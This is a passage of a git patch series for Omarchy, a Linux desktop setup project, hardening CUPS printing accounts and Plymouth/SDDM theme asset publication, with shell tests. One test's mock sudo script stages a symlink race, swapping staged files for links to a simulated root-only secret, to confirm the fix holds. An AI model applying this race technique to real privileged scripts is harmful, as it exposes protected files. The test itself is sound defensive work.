ISO package install. -if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf && -d /etc/cups ]]; then +# omarchy-settings skips these overrides until CUPS is actually present to +# avoid pacman creating .pacnew files during ISO package installation. +if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf && -f /etc/cups/cups-files.conf ]]; then + systemd-sysusers /etc/sysusers.d/omarchy-cups-browsed.conf cp -f "$OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf" /etc/cups/cups-browsed.conf - rm -f /etc/cups/cups-browsed.conf.pacnew + install -m 0640 -o root -g cups "$OMARCHY_PATH/etc-overrides/cups-cups-files.conf" /etc/cups/cups-files.conf + rm -f /etc/cups/cups-browsed.conf.pacnew /etc/cups/cups-files.conf.pacnew fi source "$OMARCHY_INSTALL/hardware/pacman.sh" diff --git a/migrations/1787815267.sh b/migrations/1787815267.sh index 31a8e797..b3f9282a 100644 --- a/migrations/1787815267.sh +++ b/migrations/1787815267.sh @@ -4,6 +4,28 @@ machine_marker="${OMARCHY_CUPS_MIGRATION_MARKER:-/var/lib/omarchy/migrations/178 [[ ! -e $machine_marker ]] || exit 0 +# Existing releases allowed a desktop user or shared group named cups-browsed, +# which systemd-sysusers would silently reuse for passwordless CUPS access. +if omarchy-pkg-present cups; then + cups_browsed_account=$(getent passwd cups-browsed || true) + cups_browsed_group=$(getent group cups-browsed || true) + + if [[ -n $cups_browsed_account || -n $cups_browsed_group ]]; then + IFS=: read -r _ _ cups_browsed_uid cups_browsed_gid cups_browsed_description cups_browsed_home cups_browsed_shell <<<"$cups_browsed_account" + IFS=: read -r _ _ cups_browsed_group_gid cups_browsed_group_members <<<"$cups_browsed_group" + other_primary_user=$(getent passwd | awk -F: -v gid="$cups_browsed_gid" '$1 != "cups-browsed" && $4 == gid { print $1; exit }') + + if [[ ! $cups_browsed_uid =~ ^[0-9]+$ || ! $cups_browsed_group_gid =~ ^[0-9]+$ ]] || + ((cups_browsed_uid <= 0 || cups_browsed_uid >= 1000)) || + [[ $cups_browsed_gid != $cups_browsed_group_gid ]] || + [[ $cups_browsed_description != "CUPS printer discovery" || $cups_browsed_home != "/" || $cups_browsed_shell != "/usr/bin/nologin" ]] || + [[ -n $cups_browsed_group_members || -n $other_primary_user ]]; then + echo "Cannot harden printer discovery: the existing cups-browsed user or group is not a dedicated system account." >&2 + false + fi + fi +fi + # CUPS-PDF accepts a job-controlled post-processing command in a backend that # CUPS launches as root. Native application print-to-file support replaces it. omarchy-pkg-drop cups-pdf @@ -20,8 +42,6 @@ if systemctl is-active --quiet cups-browsed.service 2>/dev/null; then fi if omarchy-pkg-present cups; then - sudo env OMARCHY_PATH="$OMARCHY_PATH" \ - bash -euo pipefail "$OMARCHY_PATH/install/config/printing.sh" sudo systemctl daemon-reload sudo systemctl try-reload-or-restart cups.service fi diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index c5c8da5c..899cc6e7 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -86,7 +86,7 @@ verify_printing_security() { [[ $(stat -c '%a %U:%G' /var/cache/cups-browsed) == "750 cups-browsed:cups-browsed" ]] || fail "cups-browsed has an isolated cache" "$(stat -c '%a %U:%G' /var/cache/cups-browsed)" - ! id -nG cups-browsed | grep -qw cups || + [[ " $(id -nG cups-browsed) " != *" cups "* ]] || fail "cups-browsed is separate from the print-filter group" if lpinfo_output=$(LC_ALL=C timeout 10 lpinfo -v &1); then diff --git a/test/shell.d/cups-hardening-test.sh b/test/shell.d/cups-hardening-test.sh index 2f0bc96a..96110fff 100644 --- a/test/shell.d/cups-hardening-test.sh +++ b/test/shell.d/cups-hardening-test.sh @@ -6,6 +6,7 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" packages="$ROOT/install/omarchy-base.packages" cups_browsed_conf="$ROOT/etc/cups/cups-browsed.conf" +cups_files_conf="$ROOT/etc/cups/cups-files.conf" sysusers_conf="$ROOT/etc/sysusers.d/omarchy-cups-browsed.conf" service_dropin="$ROOT/etc/systemd/system/cups-browsed.service.d/10-omarchy.conf" @@ -26,6 +27,21 @@ grep -qxF 'CreateRemoteCUPSPrinterQueues No' "$cups_browsed_conf" || pass "cups-browsed uses explicit supported discovery policy and an isolated cache" +grep -qxF 'SystemGroup cups-browsed sys root' "$cups_files_conf" || + fail "only the printer discovery account receives passwordless CUPS administration" +grep -qxF 'PeerCred on' "$cups_files_conf" || + fail "the packaged CUPS policy enables peer credentials" +[[ $(grep -ciE '^[[:space:]]*SystemGroup[[:space:]]' "$cups_files_conf") == 1 ]] || + fail "the packaged CUPS policy has one SystemGroup directive" +[[ $(grep -ciE '^[[:space:]]*PeerCred[[:space:]]' "$cups_files_conf") == 1 ]] || + fail "the packaged CUPS policy has one PeerCred directive" +[[ ! -e $ROOT/install/config/printing.sh ]] || + fail "printing policy is not rewritten by an install script" +! grep -q 'config/printing.sh' "$ROOT/install/config/all.sh" "$ROOT/migrations/1787815267.sh" || + fail "neither install nor update invokes a printing rewrite script" + +pass "CUPS authorization ships as a canonical package override" + grep -qxF 'u cups-browsed - "CUPS printer discovery" / -' "$sysusers_conf" || fail "a locked cups-browsed system account is declared" @@ -53,15 +69,25 @@ test_tmp=$(mktemp -d) trap 'rm -rf "$test_tmp"' EXIT mock_bin="$test_tmp/bin" -mkdir -p "$mock_bin" "$test_tmp/etc/cups" "$test_tmp/var/lib/omarchy/migrations" +mkdir -p "$mock_bin" "$test_tmp/var/lib/omarchy/migrations" -cat >"$mock_bin/systemd-sysusers" <<'SH' +passwd_db="$test_tmp/passwd" +group_db="$test_tmp/group" +touch "$passwd_db" "$group_db" + +cat >"$mock_bin/getent" <<'SH' #!/bin/bash -printf 'sysusers\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" -SH -cat >"$mock_bin/chown" <<'SH' -#!/bin/bash -printf 'chown\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +case "$1" in + passwd) database="$OMARCHY_CUPS_TEST_PASSWD" ;; + group) database="$OMARCHY_CUPS_TEST_GROUP" ;; + *) exit 2 ;; +esac + +if (($# == 1)); then + cat "$database" +else + awk -F: -v name="$2" '$1 == name { print; found = 1 } END { exit !found }' "$database" +fi SH cat >"$mock_bin/omarchy-pkg-present" <<'SH' #!/bin/bash @@ -85,62 +111,40 @@ exec "$@" SH chmod +x "$mock_bin"/* -authorization_conf="$test_tmp/etc/cups/cups-files.conf" -cat >"$authorization_conf" <<'CONF' -# Keep this custom preamble. -SystemGroup sys root wheel custom-admin wheel # Keep this inline comment. -SystemGroup wheel print-operators # Keep this second inline comment. -PeerCred off # Keep this PeerCred comment. -PeerCred off # Keep this second PeerCred comment. -CONF - log="$test_tmp/actions.log" +touch "$log" export OMARCHY_CUPS_TEST_LOG="$log" +export OMARCHY_CUPS_TEST_PASSWD="$passwd_db" +export OMARCHY_CUPS_TEST_GROUP="$group_db" -run_printing_setup() { - PATH="$mock_bin:$PATH" \ - OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ - OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ - bash -euo pipefail "$ROOT/install/config/printing.sh" -} - -run_printing_setup - -grep -qxF 'SystemGroup sys root custom-admin print-operators cups-browsed # Keep this inline comment.' "$authorization_conf" || - fail "printing setup reserves CUPS administration for the service account" -grep -qxF '# Keep this second inline comment.' "$authorization_conf" || - fail "printing setup preserves comments from consolidated SystemGroup directives" -grep -qxF 'PeerCred on # Keep this PeerCred comment.' "$authorization_conf" || - fail "printing setup enables peer credentials for the service account" -grep -qxF '# Keep this second PeerCred comment.' "$authorization_conf" || - fail "printing setup preserves comments from duplicate PeerCred directives" -grep -qxF '# Keep this custom preamble.' "$authorization_conf" || - fail "printing setup preserves unrelated CUPS configuration" -[[ $(grep -c '^SystemGroup ' "$authorization_conf") == 1 ]] || - fail "printing setup emits one SystemGroup directive" - -cp "$authorization_conf" "$test_tmp/first-run.conf" -run_printing_setup -cmp -s "$authorization_conf" "$test_tmp/first-run.conf" || - fail "printing setup is idempotent" - -pass "printing setup narrows CUPS authorization without clobbering other configuration" - -ln -s "$authorization_conf" "$test_tmp/etc/cups/symlinked.conf" +printf 'cups-browsed:x:1000:1000:Desktop user:/home/cups-browsed:/usr/bin/bash\n' >"$passwd_db" +printf 'cups-browsed:x:1000:\n' >"$group_db" if PATH="$mock_bin:$PATH" \ - OMARCHY_CUPS_FILES_CONF="$test_tmp/etc/cups/symlinked.conf" \ - OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ - bash -euo pipefail "$ROOT/install/config/printing.sh" 2>/dev/null; then - fail "printing setup refuses a symlinked authorization file" + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_MIGRATION_MARKER="$test_tmp/desktop-collision-marker" \ + bash -euo pipefail "$ROOT/migrations/1787815267.sh" 2>/dev/null; then + fail "the migration accepts an existing desktop user named cups-browsed" fi +[[ ! -s $log ]] || fail "an account collision stops the migration before changing the system" -pass "printing setup refuses to rewrite a symlinked privileged configuration" +printf 'alice:x:1000:947:Desktop user:/home/alice:/usr/bin/bash\n' >"$passwd_db" +printf 'cups-browsed:x:947:alice\n' >"$group_db" +if PATH="$mock_bin:$PATH" \ + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_MIGRATION_MARKER="$test_tmp/group-collision-marker" \ + bash -euo pipefail "$ROOT/migrations/1787815267.sh" 2>/dev/null; then + fail "the migration accepts an existing cups-browsed group with members" +fi +[[ ! -s $log ]] || fail "a group collision stops the migration before changing the system" + +printf 'cups-browsed:x:947:947:CUPS printer discovery:/:/usr/bin/nologin\n' >"$passwd_db" +printf 'cups-browsed:x:947:\n' >"$group_db" + +pass "the migration rejects account and group collisions before changing printing" marker="$test_tmp/var/lib/omarchy/migrations/1787815267" PATH="$mock_bin:$PATH" \ OMARCHY_PATH="$ROOT" \ - OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ - OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ OMARCHY_CUPS_MIGRATION_MARKER="$marker" \ bash -euo pipefail "$ROOT/migrations/1787815267.sh" @@ -153,7 +157,7 @@ grep -qxF $'systemctl\tstop cups-browsed.service' "$log" || grep -qxF $'systemctl\tdaemon-reload' "$log" || fail "the migration reloads the hardened service" grep -qxF $'systemctl\ttry-reload-or-restart cups.service' "$log" || - fail "the migration applies narrowed CUPS authorization" + fail "the migration reloads the packaged CUPS authorization" grep -qxF $'systemctl\trestart cups-browsed.service' "$log" || fail "the migration resumes an active cups-browsed service" [[ -f $marker ]] || fail "the migration records machine-wide completion" @@ -168,10 +172,8 @@ PATH="$mock_bin:$PATH" \ pass "the migration safely converts an active existing installation once" -# An interrupted earlier run leaves cups-browsed stopped, so the retry that -# follows finds it inactive. It must still be restarted: the retry records the -# machine-wide marker either way, so a restart skipped here would leave printer -# discovery off until the next reboot with nothing left to run. +# An interrupted earlier run leaves cups-browsed stopped. A retry still needs +# to resume an enabled service before recording completion. cat >"$mock_bin/systemctl" <<'SH' #!/bin/bash printf 'systemctl\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" @@ -186,8 +188,6 @@ retry_marker="$test_tmp/var/lib/omarchy/migrations/1787815267-retry" OMARCHY_CUPS_TEST_LOG="$retry_log" \ PATH="$mock_bin:$PATH" \ OMARCHY_PATH="$ROOT" \ - OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ - OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ OMARCHY_CUPS_MIGRATION_MARKER="$retry_marker" \ bash -euo pipefail "$ROOT/migrations/1787815267.sh" @@ -196,8 +196,7 @@ grep -qxF $'systemctl\trestart cups-browsed.service' "$retry_log" || pass "a run following an interrupted one still resumes printer discovery" -# A unit the user masked or disabled reports not-enabled, and restarting it -# would fail and abort the migration before it records completion. +# A masked or disabled unit is deliberately left alone. cat >"$mock_bin/systemctl" <<'SH' #!/bin/bash printf 'systemctl\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" @@ -212,8 +211,6 @@ masked_marker="$test_tmp/var/lib/omarchy/migrations/1787815267-masked" OMARCHY_CUPS_TEST_LOG="$masked_log" \ PATH="$mock_bin:$PATH" \ OMARCHY_PATH="$ROOT" \ - OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ - OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ OMARCHY_CUPS_MIGRATION_MARKER="$masked_marker" \ bash -euo pipefail "$ROOT/migrations/1787815267.sh" @@ -222,31 +219,3 @@ OMARCHY_CUPS_TEST_LOG="$masked_log" \ [[ -f $masked_marker ]] || fail "the migration completes with cups-browsed masked" pass "a masked or disabled cups-browsed is left alone and does not fail the migration" - -# cupsd compares directive names case-insensitively, so a hand-edited lowercase -# directive is live configuration. Matching it exactly would skip the line and -# append a second one, and cupsd accumulates the groups of every SystemGroup -# directive it reads -- leaving wheel with passwordless administration. -lowercase_conf="$test_tmp/etc/cups/lowercase.conf" -cat >"$lowercase_conf" <<'CONF' -systemgroup sys root wheel -peercred off -CONF - -PATH="$mock_bin:$PATH" \ - OMARCHY_CUPS_FILES_CONF="$lowercase_conf" \ - OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ - bash -euo pipefail "$ROOT/install/config/printing.sh" - -! grep -qiE '^[[:space:]]*systemgroup\b.*\bwheel\b' "$lowercase_conf" || - fail "printing setup removes wheel from a lowercase SystemGroup directive" "$(cat "$lowercase_conf")" -[[ $(grep -ciE '^[[:space:]]*systemgroup\b' "$lowercase_conf") == 1 ]] || - fail "printing setup leaves one SystemGroup directive whatever case it was written in" "$(cat "$lowercase_conf")" -grep -qxF 'SystemGroup sys root cups-browsed' "$lowercase_conf" || - fail "printing setup reserves administration for the service account" "$(cat "$lowercase_conf")" -[[ $(grep -ciE '^[[:space:]]*peercred\b' "$lowercase_conf") == 1 ]] || - fail "printing setup leaves one PeerCred directive" "$(cat "$lowercase_conf")" -grep -qxF 'PeerCred on' "$lowercase_conf" || - fail "printing setup enables peer credentials whatever case they were written in" "$(cat "$lowercase_conf")" - -pass "printing setup rewrites directives cupsd reads case-insensitively" From 2b91fdc0d3d6e8e5c9c659abda685e48f1e1f167 Mon Sep 17 00:00:00 2001 From: Afonso Oliveira Date: Tue, 25 Aug 2026 18:42:15 +0100 Subject: [PATCH 115/336] [Security] Pin Plymouth asset reads before elevation --- bin/omarchy-plymouth-set | 19 ++++- test/shell.d/plymouth-set-test.sh | 130 ++++++++++++++++++++++++------ 2 files changed, 119 insertions(+), 30 deletions(-) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index 1fd70d50..56426f1f 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -51,6 +51,15 @@ theme_dir="/usr/share/plymouth/themes/omarchy" staging_dir=$(mktemp -d) trap 'rm -rf "$staging_dir"' EXIT +# Publish a staged asset without ever asking a privileged process to resolve +# its user-writable source path. The shell opens source before sudo starts, so +# the inherited descriptor pins the bytes and a replacement symlink to a +# root-only file either loses the race or fails under the caller's permissions. +publish_asset() { + local source="$1" destination="$2" + sudo tee "$destination" <"$source" >/dev/null && sudo chmod 0644 "$destination" +} + find "$OMARCHY_PATH/default/plymouth" -maxdepth 1 -type f -exec cp -t "$staging_dir/" {} + cp "$logo_path" "$staging_dir/logo.png" @@ -63,7 +72,9 @@ for asset in bullet.png entry.png lock.png progress_bar.png; do magick "$staging_dir/$asset" -channel RGB +level-colors "#$text_hex","#$text_hex" "$staging_dir/$asset" done -sudo cp -a --no-preserve=mode,ownership "$staging_dir/." "$theme_dir/" +for asset in bullet.png entry.png lock.png logo.png omarchy.plymouth omarchy.script preview-unlock.png progress_bar.png progress_box.png; do + publish_asset "$staging_dir/$asset" "$theme_dir/$asset" || exit 1 +done sudo plymouth-set-default-theme omarchy if omarchy-cmd-present limine-mkinitcpio; then @@ -81,12 +92,12 @@ sed \ -e "s/#ffffff/#$text_hex/g" \ "$sddm_template" | sudo tee "$sddm_dir/Main.qml" >/dev/null -sudo cp "$staging_dir/logo.png" "$sddm_dir/logo.png" +publish_asset "$staging_dir/logo.png" "$sddm_dir/logo.png" || exit 1 for asset in bullet.png entry.png lock.png; do - sudo cp "$staging_dir/$asset" "$sddm_dir/$asset" + publish_asset "$staging_dir/$asset" "$sddm_dir/$asset" || exit 1 done for asset in entry lock; do magick "$staging_dir/$asset.png" -channel RGB +level-colors "#f7768e","#f7768e" "$staging_dir/$asset-failed.png" - sudo cp "$staging_dir/$asset-failed.png" "$sddm_dir/$asset-failed.png" + publish_asset "$staging_dir/$asset-failed.png" "$sddm_dir/$asset-failed.png" || exit 1 done sudo rm -f "$sddm_dir/logo.svg" diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index eb8b120b..56b6447e 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -3,30 +3,11 @@ source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" test_tmp=$(mktemp -d) -trap 'rm -rf "$test_tmp"' EXIT - -source_dir="$test_tmp/source" -theme_dir="$test_tmp/theme" - -mkdir -m 0700 "$source_dir" -mkdir -m 0755 "$theme_dir" -touch "$source_dir/logo.png" - -cp -a --no-preserve=mode,ownership "$source_dir/." "$theme_dir/" - -[[ $(stat -c %a "$theme_dir") == "755" ]] || - fail "Plymouth asset copy preserves the theme directory permissions" - -grep -Fq \ - 'cp -a --no-preserve=mode,ownership "$staging_dir/." "$theme_dir/"' \ - "$ROOT/bin/omarchy-plymouth-set" || - fail "omarchy-plymouth-set avoids copying staging directory ownership and mode" - -pass "Plymouth asset copy preserves the package-owned directory metadata" +trap 'chmod 0600 "$test_tmp/secret" 2>/dev/null || true; rm -rf "$test_tmp"' EXIT # omarchy-plymouth-set-by-theme hands over a theme's unlock.png from -# ~/.config/omarchy/themes, and both copies below land in world-readable -# /usr/share, so a symlink there would republish whatever it points at. +# ~/.config/omarchy/themes. Both installed copies are world-readable, so a +# symlink there must not republish whatever it points at. secret="$test_tmp/secret" printf 'not yours\n' >"$secret" ln -s "$secret" "$test_tmp/logo-link.png" @@ -34,12 +15,9 @@ ln -s "$secret" "$test_tmp/logo-link.png" output=$(OMARCHY_PATH="$ROOT" bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo-link.png" 2>&1) status=$? -(( status != 0 )) || fail "omarchy-plymouth-set refuses a symlinked logo" +((status != 0)) || fail "omarchy-plymouth-set refuses a symlinked logo" [[ $output == *"symlink"* ]] || fail "omarchy-plymouth-set says why it refused the logo" "$output" -grep -Fq 'sudo cp "$staging_dir/logo.png" "$sddm_dir/logo.png"' "$ROOT/bin/omarchy-plymouth-set" || - fail "omarchy-plymouth-set copies the staged logo to SDDM rather than rereading the caller's path as root" - pass "a themed logo cannot republish a file it merely points at" # Style > Unlock picks a theme by name and hands the answer to @@ -141,3 +119,103 @@ run_unlock_action "default" [[ ! -e $set_args ]] || fail "picking default does not look up a theme named default" "$(cat "$set_args")" pass "the unlock picker still applies a theme and still resets on default" + +# Exercise the full publisher with sudo and ImageMagick shims. Immediately +# after the unprivileged shell opens each staged source, the sudo shim renames +# that source away and replaces its pathname with a symlink to a simulated +# root-only secret. Reading via the inherited stdin descriptor must still +# publish the original bytes. The shim restores the source after each read so +# every Plymouth and SDDM asset gets attacked independently. +fake_bin="$test_tmp/bin" +fake_root="$test_tmp/root" +stages="$test_tmp/stages" +attack_log="$test_tmp/attacked" +sudo_log="$test_tmp/sudo.log" +mkdir -p "$fake_bin" "$fake_root" "$stages" + +cat >"$fake_bin/sudo" <<'SH' +#!/bin/bash +printf '%s\n' "$*" >>"$TEST_SUDO_LOG" + +case "$1" in +tee) + destination="$2" + mapped="$TEST_FAKE_ROOT$destination" + mkdir -p "$(dirname -- "$mapped")" + + stage=$(find "$TEST_STAGES" -mindepth 1 -maxdepth 2 -type f -name omarchy.script -printf '%h\n' | head -n1) + asset=$(basename -- "$destination") + source="$stage/$asset" + pinned="$stage/.pinned-$asset" + + if [[ -n $stage && -f $source && ! -L $source ]]; then + mv -T -- "$source" "$pinned" + ln -s "$TEST_SECRET" "$source" + printf '%s\n' "$asset" >>"$TEST_ATTACK_LOG" + /usr/bin/tee "$mapped" + result=$? + rm -f -- "$source" + mv -T -- "$pinned" "$source" + exit "$result" + fi + exec /usr/bin/tee "$mapped" + ;; +chmod) + exec /usr/bin/chmod "$2" "$TEST_FAKE_ROOT$3" + ;; +rm) + destination=${@: -1} + exec /usr/bin/rm -f -- "$TEST_FAKE_ROOT$destination" + ;; +plymouth-set-default-theme | limine-mkinitcpio | mkinitcpio) + exit 0 + ;; +*) + echo "unexpected sudo command: $*" >&2 + exit 1 + ;; +esac +SH + +cat >"$fake_bin/magick" <<'SH' +#!/bin/bash +source="$1" +destination=${@: -1} +[[ $source == "$destination" ]] || /usr/bin/cp -- "$source" "$destination" +SH + +cat >"$fake_bin/omarchy-cmd-present" <<'SH' +#!/bin/bash +exit 1 +SH +chmod +x "$fake_bin"/* + +printf 'SIMULATED ROOT-ONLY SECRET\n' >"$secret" +printf 'caller-selected logo\n' >"$test_tmp/logo.png" + +output=$(PATH="$fake_bin:$ROOT/bin:$PATH" \ + TMPDIR="$stages" \ + OMARCHY_PATH="$ROOT" \ + TEST_FAKE_ROOT="$fake_root" \ + TEST_STAGES="$stages" \ + TEST_SECRET="$secret" \ + TEST_ATTACK_LOG="$attack_log" \ + TEST_SUDO_LOG="$sudo_log" \ + bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo.png" 2>&1) +status=$? + +((status == 0)) || fail "Plymouth publisher succeeds while staged paths are swapped" "$output" + +expected_assets=$'bullet.png\nentry-failed.png\nentry.png\nlock-failed.png\nlock.png\nlogo.png\nomarchy.plymouth\nomarchy.script\npreview-unlock.png\nprogress_bar.png\nprogress_box.png' +actual_assets=$(sort -u "$attack_log") +[[ $actual_assets == "$expected_assets" ]] || fail "every staged asset is raced at its privileged publication" "$actual_assets" + +! grep -Rqs 'SIMULATED ROOT-ONLY SECRET' "$fake_root" || fail "a replacement symlink was published" +grep -Fq 'caller-selected logo' "$fake_root/usr/share/plymouth/themes/omarchy/logo.png" || fail "the descriptor did not preserve the selected logo bytes" +[[ $(stat -c %a "$fake_root/usr/share/plymouth/themes/omarchy") == 755 ]] || fail "fixed-file publication changed the theme directory mode" + +if grep -F "$stages/" "$sudo_log" >/dev/null; then + fail "a privileged command received a pathname inside the user-writable stage" "$(cat "$sudo_log")" +fi + +pass "privileged publication uses pinned descriptors for every staged asset" From 0f15e2330f532fd018d4f3f44719a1866ec58121 Mon Sep 17 00:00:00 2001 From: Afonso Oliveira Date: Thu, 27 Aug 2026 23:35:43 +0100 Subject: [PATCH 116/336] [Security] Harden Plymouth asset publication --- bin/omarchy-plymouth-set | 313 ++++++++++++++++++++------ bin/omarchy-refresh-plymouth | 12 +- test/shell.d/plymouth-set-test.sh | 362 ++++++++++++++++++++++++------ 3 files changed, 543 insertions(+), 144 deletions(-) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index 56426f1f..f8f84c36 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -5,75 +5,258 @@ # omarchy:examples=omarchy plymouth set '#1d2021' '#ebdbb2' ~/.local/state/omarchy/current/theme/plymouth/logo.png # omarchy:requires-sudo=true -# Configure the Plymouth boot theme with a custom background color, text color, and logo. -# Stages the change in a temp dir, then commits the staged files to /usr/share and -# rebuilds the initramfs. Also syncs the SDDM login screen (the post-logout -# screen) with the same colors and logo so boot/login stay visually unified. +set -euo pipefail -if (( $# != 3 )); then +# Configure the Plymouth boot theme with a custom background color, text color, +# and logo. Assets are prepared without privileges, pinned to their recorded +# hashes, then published one at a time through root-owned temporary files. + +refresh_default=false +if (( $# == 1 )) && [[ $1 == --refresh-default ]]; then + refresh_default=true +elif (( $# != 3 )); then echo "Usage: omarchy-plymouth-set " >&2 exit 1 fi -bg_hex="${1#\#}" -text_hex="${2#\#}" -logo_path="$3" +if ! $refresh_default; then + bg_hex="${1#\#}" + text_hex="${2#\#}" + logo_path="$3" -if ! [[ $bg_hex =~ ^[0-9a-fA-F]{6}$ ]]; then - echo "Invalid background color: $1 (expected #RRGGBB)" >&2 - exit 1 + if ! [[ $bg_hex =~ ^[0-9a-fA-F]{6}$ ]]; then + echo "Invalid background color: $1 (expected #RRGGBB)" >&2 + exit 1 + fi + + if ! [[ $text_hex =~ ^[0-9a-fA-F]{6}$ ]]; then + echo "Invalid text color: $2 (expected #RRGGBB)" >&2 + exit 1 + fi + + if [[ ! -f $logo_path ]]; then + echo "Logo file not found: $logo_path" >&2 + exit 1 + fi + + # omarchy-plymouth-set-by-theme passes a theme's unlock.png straight from + # ~/.config/omarchy/themes, where an installed theme can make it a symlink to + # anything. The copies below land in world-readable /usr/share, so following + # one would republish whatever it points at. + if [[ -L $logo_path ]]; then + echo "Logo file is a symlink, which is not accepted: $logo_path" >&2 + exit 1 + fi fi -if ! [[ $text_hex =~ ^[0-9a-fA-F]{6}$ ]]; then - echo "Invalid text color: $2 (expected #RRGGBB)" >&2 - exit 1 -fi - -if [[ ! -f $logo_path ]]; then - echo "Logo file not found: $logo_path" >&2 - exit 1 -fi - -# omarchy-plymouth-set-by-theme passes a theme's unlock.png straight from -# ~/.config/omarchy/themes, where an installed theme can make it a symlink to -# anything. The copies below land in world-readable /usr/share, so following one -# would republish whatever it points at. -if [[ -L $logo_path ]]; then - echo "Logo file is a symlink, which is not accepted: $logo_path" >&2 - exit 1 -fi - -bg_r=$(awk -v n=$((16#${bg_hex:0:2})) 'BEGIN{printf "%.3f", n/255}') -bg_g=$(awk -v n=$((16#${bg_hex:2:2})) 'BEGIN{printf "%.3f", n/255}') -bg_b=$(awk -v n=$((16#${bg_hex:4:2})) 'BEGIN{printf "%.3f", n/255}') - theme_dir="/usr/share/plymouth/themes/omarchy" -staging_dir=$(mktemp -d) -trap 'rm -rf "$staging_dir"' EXIT +sddm_dir="/usr/share/sddm/themes/omarchy" +max_asset_size=$((64 * 1024 * 1024)) -# Publish a staged asset without ever asking a privileged process to resolve -# its user-writable source path. The shell opens source before sudo starts, so -# the inherited descriptor pins the bytes and a replacement symlink to a -# root-only file either loses the race or fails under the caller's permissions. -publish_asset() { +plymouth_theme_assets=( + bullet.png + entry.png + lock.png + logo.png + omarchy.plymouth + omarchy.script + preview-unlock.png + progress_bar.png + progress_box.png +) +plymouth_default_assets=( + "${plymouth_theme_assets[@]}" + logos/oma.png +) +sddm_theme_assets=( + Main.qml + bullet.png + entry-failed.png + entry.png + lock-failed.png + lock.png + logo.png +) + +staging_dir=$(mktemp -d) +trap 'rm -rf -- "$staging_dir"' EXIT +chmod 0700 "$staging_dir" +plymouth_stage="$staging_dir/plymouth" +sddm_stage="$staging_dir/sddm" +mkdir -m 0700 -p "$plymouth_stage/logos" "$sddm_stage" + +copy_regular_file() { local source="$1" destination="$2" - sudo tee "$destination" <"$source" >/dev/null && sudo chmod 0644 "$destination" + + if [[ ! -f $source || -L $source ]]; then + echo "Refusing non-regular or symlinked asset: $source" >&2 + exit 1 + fi + + # -P ensures a source swapped to a symlink is copied as a symlink instead of + # followed; the post-copy check then rejects it. + cp -P --reflink=never -- "$source" "$destination" + if [[ ! -f $destination || -L $destination ]]; then + rm -f -- "$destination" + echo "Asset changed while it was being staged: $source" >&2 + exit 1 + fi + chmod 0600 "$destination" } -find "$OMARCHY_PATH/default/plymouth" -maxdepth 1 -type f -exec cp -t "$staging_dir/" {} + -cp "$logo_path" "$staging_dir/logo.png" +if $refresh_default; then + assets_to_stage=("${plymouth_default_assets[@]}") +else + assets_to_stage=("${plymouth_theme_assets[@]}") +fi -sed -i \ - -e "s/^Window.SetBackgroundTopColor.*/Window.SetBackgroundTopColor($bg_r, $bg_g, $bg_b);/" \ - -e "s/^Window.SetBackgroundBottomColor.*/Window.SetBackgroundBottomColor($bg_r, $bg_g, $bg_b);/" \ - "$staging_dir/omarchy.script" - -for asset in bullet.png entry.png lock.png progress_bar.png; do - magick "$staging_dir/$asset" -channel RGB +level-colors "#$text_hex","#$text_hex" "$staging_dir/$asset" +for asset in "${assets_to_stage[@]}"; do + copy_regular_file "$OMARCHY_PATH/default/plymouth/$asset" "$plymouth_stage/$asset" done -for asset in bullet.png entry.png lock.png logo.png omarchy.plymouth omarchy.script preview-unlock.png progress_bar.png progress_box.png; do - publish_asset "$staging_dir/$asset" "$theme_dir/$asset" || exit 1 +if ! $refresh_default; then + for asset in "${sddm_theme_assets[@]}"; do + copy_regular_file "$OMARCHY_PATH/default/sddm/omarchy/$asset" "$sddm_stage/$asset" + done + + copy_regular_file "$logo_path" "$plymouth_stage/logo.png" + copy_regular_file "$logo_path" "$sddm_stage/logo.png" + + bg_r=$(awk -v n=$((16#${bg_hex:0:2})) 'BEGIN{printf "%.3f", n/255}') + bg_g=$(awk -v n=$((16#${bg_hex:2:2})) 'BEGIN{printf "%.3f", n/255}') + bg_b=$(awk -v n=$((16#${bg_hex:4:2})) 'BEGIN{printf "%.3f", n/255}') + + sed -i \ + -e "s/^Window.SetBackgroundTopColor.*/Window.SetBackgroundTopColor($bg_r, $bg_g, $bg_b);/" \ + -e "s/^Window.SetBackgroundBottomColor.*/Window.SetBackgroundBottomColor($bg_r, $bg_g, $bg_b);/" \ + "$plymouth_stage/omarchy.script" + + for asset in bullet.png entry.png lock.png progress_bar.png; do + magick 